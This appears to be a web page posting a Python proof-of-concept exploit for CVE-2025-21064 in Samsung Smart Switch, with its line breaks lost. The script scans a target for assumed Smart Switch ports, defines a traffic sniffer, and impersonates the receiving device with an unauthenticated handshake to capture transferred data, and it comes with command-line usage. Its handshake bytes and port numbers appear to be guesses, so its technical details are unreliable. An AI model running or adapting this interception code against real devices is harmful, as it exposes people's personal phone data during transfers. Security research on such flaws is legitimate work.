CVE-2025-21064：Samsung Smart Switch认证不当漏洞

# CVE-2025-21064 PoC - Samsung Smart Switch Improper Authentication # This PoC demonstrates the concept of exploiting improper authentication # in Samsung Smart Switch during data transfer via adjacent network. import socket import threading import time from scapy.all import * class SmartSwitchExploit: """ PoC for CVE-2025-21064: Improper authentication in Samsung Smart Switch prior to version 3.7.66.6 allows adjacent attackers to access transferring data. """ def __init__(self, target_ip=None, interface=None): self.target_ip = target_ip self.interface = interface self.captured_data = [] self.running = False def scan_smart_switch_service(self): """ Scan for Samsung Smart Switch service broadcasting on the network. Smart Switch typically uses specific ports for data transfer. """ print("[*] Scanning for Samsung Smart Switch services...") # Common ports used by Smart Switch for data transfer smart_switch_ports = [26174, 26175, 26176, 26177, 26178] discovered_devices = [] for port in smart_switch_ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) result = sock.connect_ex((self.target_ip, port)) if result == 0: print(f"[+] Found Smart Switch service on {self.target_ip}:{port}") discovered_devices.append((self.target_ip, port)) sock.close() except Exception as e: pass return discovered_devices def sniff_transfer_traffic(self, packet_count=100): """ Sniff network traffic to capture Smart Switch data transfer. Exploits the lack of proper authentication during transfer. """ print(f"[*] Sniffing traffic on {self.interface}...") print("[*] Waiting for Smart Switch data transfer session...") def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): payload = packet[Raw].load # Check for Smart Switch transfer protocol markers if b'SmartSwitch' in payload or b'sswitch' in payload.lower(): self.captured_data.append(payload) print(f"[+] Captured transfer data: {len(payload)} bytes") sniff(iface=self.interface, prn=packet_callback, count=packet_count) def impersonate_receiver(self, target_ip, port): """ Attempt to impersonate the receiving device to intercept data. Demonstrates the improper authentication vulnerability. """ print(f"[*] Attempting to impersonate receiver at {target_ip}:{port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) # Send handshake without proper authentication handshake = b"SMART_SWITCH_HANDSHAKE\x00\x01\x00\x00" sock.send(handshake) response = sock.recv(4096) print(f"[+] Received handshake response: {len(response)} bytes") # Receive transferred data while True: data = sock.recv(65536) if not data: break self.captured_data.append(data) print(f"[+] Intercepted data chunk: {len(data)} bytes") sock.close() except Exception as e: print(f"[-] Error: {e}") def run_exploit(self): """Main exploit execution flow.""" print("=" * 60) print("CVE-2025-21064 - Samsung Smart Switch Exploit PoC") print("=" * 60) # Step 1: Discover Smart Switch services devices = self.scan_smart_switch_service() if not devices: print("[-] No Smart Switch services found") return # Step 2: Attempt to intercept transfer (improper auth) for ip, port in devices: self.impersonate_receiver(ip, port) # Step 3: Report captured data total_data = sum(len(d) for d in self.captured_data) print(f"\n[*] Total data intercepted: {total_data} bytes") print(f"[*] Data chunks captured: {len(self.captured_data)}") if __name__ == "__main__": # Usage: python poc.py --target <IP> --interface <iface> import argparse parser = argparse.ArgumentParser(description='CVE-2025-21064 PoC') parser.add_argument('--target', help='Target IP address') parser.add_argument('--interface', default='wlan0', help='Network interface') args = parser.parse_args() exploit = SmartSwitchExploit(target_ip=args.target, interface=args.interface) exploit.run_exploit()